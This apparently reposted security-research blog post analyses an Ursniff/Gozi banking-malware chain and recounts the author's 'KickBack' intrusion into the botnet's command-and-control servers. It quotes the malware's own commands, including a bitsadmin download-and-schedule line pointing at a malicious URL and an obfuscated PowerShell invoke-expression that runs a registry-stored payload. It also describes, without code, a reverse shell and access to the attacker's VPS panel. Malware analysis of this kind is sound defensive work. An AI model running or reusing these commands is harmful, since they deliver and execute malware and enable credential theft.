Pierluigi Paganini August 31, 2018

Today I’d like to share a full path analysis including a KickBack attack which took me to gain full access to an entire Ursniff/Gozi botnet.

Stage1. Obfuscation

Indeed if none of searched AV were found on the target system Stage1 was acting as a simple downloader. The specific performed actions follow:

"C:\Windows\System32\cmd.exe" /c bitsadmin /transfer msd5 /priority foreground http://englandlistings.com/pagverd75.php C:\Users\J8913~1.SEA\AppData\Local\Temp/rEOuvWkRP.exe &schtasks /create /st 01:36 /sc once /tn srx3 /tr C:\Users\J8913~1.SEA\AppData\Local\Temp/rEOuvWkRP.exe

Stage1 was dropping and executing a brand new PE file named: rEOuvWkRP.exe (sha256: 92f59c431fbf79bf23cff65d0c4787d0b9e223493edc51a4bbd3c88a5b30b05c) using the bitsadmin.exe native Microsoft program. BitsAdmin.exe is a command-line tool that system admin can use to create download or upload jobs and monitor their progress over time. This technique has been widely used by Anunak APT during bank frauds in the past few years.

The Stage2 analysis (huge step ahead here)  brought me to an additional brand new Drop and Decrypt stager. Stage3 introduced additional layers of anti-reverse engineering. The following image shows the additional PE section within high entropy on it. It’s a significative indication of a Decrypter activity.

Stage2. Drop and Decrypt the Stage3. You might appreciate the high Entropy on added section

cmd.exe /C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty ‘HKCU:\Software\AppDataLow\Software\Microsoft\4CA108BF-3B6C-5EF4-2540-9F72297443C6’).Audibrkr))

"C:\Users\J8913~1.SEA\AppData\Local\Temp\2e6d628189703d9ad4db9e9d164775bd.exe"

C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding

"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding

C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

\\?\C:\Windows\system32\wbem\WMIADAP.EXE wmiadap.exe /F /T /R

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2552 CREDAT:209921 /prefetch:2

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2552 CREDAT:406536 /prefetch:2

C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:264 WinX:0 WinY:0 IEFrame:0000000000000000

C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:65800 WinX:0 WinY:0 IEFrame:0000000000000000

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3004 CREDAT:209921 /prefetch:2

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3004 CREDAT:144390 /prefetch:2

C:\Windows\system32\SearchIndexer.exe /Embedding

taskhost.exe SYSTEM

C:\Windows\System32\wsqmcons.exe

taskhost.exe $(Arg0)

C:\Windows\System32\svchost.exe -k WerSvcGroup

"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"

"C:\Windows\system32\SearchFilterHost.exe" 0 552 556 564 65536 560

"C:\Windows\sysWow64\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11082_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11082 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"

"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11083_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11083 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"

"C:\Windows\sysWow64\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11084_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11084 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"

"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe5_ Global\UsGthrCtrlFltPipeMssGthrPipe5 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"

"C:\Windows\sysWow64\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11086_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11086 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"

"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11087_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11087 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"

"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe8_ Global\UsGthrCtrlFltPipeMssGthrPipe8 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:592 CREDAT:209921 /prefetch:2

cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\J8913~1.SEA\AppData\Local\Temp\34B0.bi1"

cmd /C "echo -------- >> C:\Users\J8913~1.SEA\AppData\Local\Temp\34B0.bi1"

C:\Windows\system32\schtasks.exe /delete /f /TN "Microsoft\Windows\Customer Experience Improvement Program\Uploader"

C:\Windows\system32\WerFault.exe -u -p 2524 -s 288

"C:\Windows\system32\wermgr.exe" "-queuereporting_svc" "C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_taskhost.exe_82b9a110b3b94c55171865162b471ffb8fadc7c6_cab_0ab86b12"

nslookup  myip.opendns.com resolver1.opendns.com

• • C2 level_1 (for domains and IPs check the IoC section). The Stage3 connects back to C2 level_1 to get weaponised. Level_1 Command and Controls get information on victims and deliver plugins to expand the infection functionalities.
  • C2 level_2 (for domains and IPs check the IoC section). Stage 3 indirectly connects to C2 level_2 in order to give stolen information. It ‘s a Ursniff/Gozi and it exfiltrates user credentials by looking for specific files, getting user clipboard and  by performing main in the browser attack against main websites such as PayPal, Gmail, Microsoft and many online services.

Reverse Shell On C2 Stage_1

Now, I was able to download the entire Command and Control Source Code (php) and study it ! The study of this brand new C2  took me to the next level. First of all I was able to get access to the local database where I found a lot of infected IPs (the IPs which were communicating back to C2 level_1). The following image proves that the downloaded Command and Control system has Macedonian dialect (Cyrillic language) on it, according to Anunak APT report made by group-ib.

Command and Control Source Code (snip)

The following image represents a simple screenshot of the database dump within Victim IPs (which are undisclosed for privacy reasons).

C2 level_1 Database

Additional investigations on database brought new connected IPs. Those IPs were querying the MySQL with administrative rights. At least athe dditional two layers of C2 were present. While the level_1 was weaponising the malware implant the level_2 was collecting information from victims. Thanks to the source code study has been possibile to found more 0Days to be used against C2 and in order to break into the C2 level_2 . Now I was able to see encrypted URLs coming from infected hosts.  Important steps ahead are intentionally missing. Among many URLs the analyst was able to figure out a “test” connection from the Attacker and focus to decrypt such a connection. Fortunately ,everything needed was written on command and control source code. In the specific case ,the following function was fundamental to get to clear text !

URL Decryption Function

Attacker eMail: VPS credentials

Once “in” a new need came: discovering the entire network by getting access to the VPS control panel. After some active steps directly on the attacker infrastructure, it was possible to get access to the entire VPS control panel. At this point it was clear the general infrastructure picture* and how to block the threat, not only for customers but for everybody !

Attacker VPS Environment

Summary:

Victims Distribution on August 24 2018

During the analyses was interesting to observe attacker was acquiring domains from an apparent “black market”where many actors where selling and buying “apparent compromised domains” (no evidence on this last sentence, only feeling). The system (following picture) looks like a trading platform within public API that third party systems can operate such as stock operators.

Apparent Domain BlackMarket

Hope you enjoyed the reading.

Further details, including the Indicators of compromise, are reported in the analysis published by Marco Ramilli on his blog.

About the author: Marco Ramilli, Founder of Yoroi

I am a computer security scientist with an intensive hacking background. I do have a MD in computer engineering and a PhD on computer security from University of Bologna. During my PhD program I worked for US Government (@ National Institute of Standards and Technology, Security Division) where I did intensive researches in Malware evasion techniques and penetration testing of electronic voting systems.

I do have experience on security testing since I have been performing penetration testing on several US electronic voting systems. I’ve also been encharged of testing uVote voting system from the Italian Minister of homeland security. I met Palantir Technologies where I was introduced to the Intelligence Ecosystem. I decided to amplify my cyber security experiences by diving into SCADA security issues with some of the most biggest industrial aglomerates in Italy. I finally decided to found Yoroi: an innovative Managed Cyber Security Service Provider developing some of the most amazing cyber security defence center I’ve ever experienced ! Now I technically lead Yoroi defending our customers strongly believing in: Defence Belongs To Humans